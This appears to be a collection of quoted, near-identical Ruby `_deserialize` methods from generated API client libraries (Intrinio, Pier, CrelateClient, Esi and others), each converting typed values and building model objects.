"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n DearInventoryRuby.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Mooncard.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Aimastering.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Harbor1Client.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Intrinio.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /^(true|t|yes|y|1)$/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Pier.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = CrelateClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = WellsFargoAchClient.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = ArtikCloud.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Dkron.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n MailSlurpClient.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :Boolean\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n MailSlurpClient.const_get(type).build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
"def _deserialize(type, value)\n case type.to_sym\n when :DateTime\n DateTime.parse(value)\n when :Date\n Date.parse(value)\n when :String\n value.to_s\n when :Integer\n value.to_i\n when :Float\n value.to_f\n when :BOOLEAN\n if value.to_s =~ /\\A(true|t|yes|y|1)\\z/i\n true\n else\n false\n end\n when :Object\n # generic object (usually a Hash), return directly\n value\n when /\\AArray<(?<inner_type>.+)>\\z/\n inner_type = Regexp.last_match[:inner_type]\n value.map { |v| _deserialize(inner_type, v) }\n when /\\AHash<(?<k_type>.+?), (?<v_type>.+)>\\z/\n k_type = Regexp.last_match[:k_type]\n v_type = Regexp.last_match[:v_type]\n {}.tap do |hash|\n value.each do |k, v|\n hash[_deserialize(k_type, k)] = _deserialize(v_type, v)\n end\n end\n else # model\n temp_model = Esi.const_get(type).new\n temp_model.build_from_hash(value)\n end\n end",
